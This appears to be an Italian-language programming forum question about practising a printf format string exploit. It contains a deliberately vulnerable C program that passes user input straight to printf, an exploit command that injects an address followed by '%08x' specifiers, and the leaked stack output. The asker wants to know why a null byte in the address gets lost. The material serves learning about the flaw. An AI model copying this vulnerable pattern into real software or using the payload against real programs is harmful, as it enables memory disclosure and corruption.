Sto tentando l'exploit del parametro format di printf () dove fornire direttamente i dati controllati dall'utente come l'unico argomento di printf ("input dell'utente") consente all'utente di fornire parametri di formato come% x nel qual caso ci sono non ci sono argomenti aggiuntivi forniti alla funzione per farlo fuoriuscire dallo stack in modo che utilizzi tutti i dati attualmente disponibili che consentono di leggere gli indirizzi e altro ancora.
programma
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[]) {
char text[1024];
static int test_val = -72;
if(argc < 2) {
printf("Usage: %s <text to print>\n", argv[0]);
exit(0);
}
strcpy(text, argv[1]);
printf("The right way to print user-controlled input:\n");
printf("%s", text);
printf("\nThe wrong way to print user-controlled input:\n");
printf(text);
printf("\n");
// Debug output
printf("[*] test_val @ 0x%08x = %d 0x%08x\n", &test_val, test_val, test_val);
exit(0);
}
Il mio problema è che quando fornisco un indirizzo che precede i parametri di formato come argomento del mio programma, il byte meno significativo 00 (parte dell'indirizzo) viene troncato e sostituito con un altro byte (2e in questo caso) dallo stack .
./fmt_vuln $(printf "\x58\x10\x60\x00")$(perl -e 'print ".%08x" x8')
L'output:
The right way to print user-controlled input:
X'.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x
The wrong way to print user-controlled input:
X'.017af010.3a780780.3a4b12c0.3a967700.0000002b.22f85198.00f7803b.2e601058
[*] test_val @ 0x00601058 = -72 0xffffffb8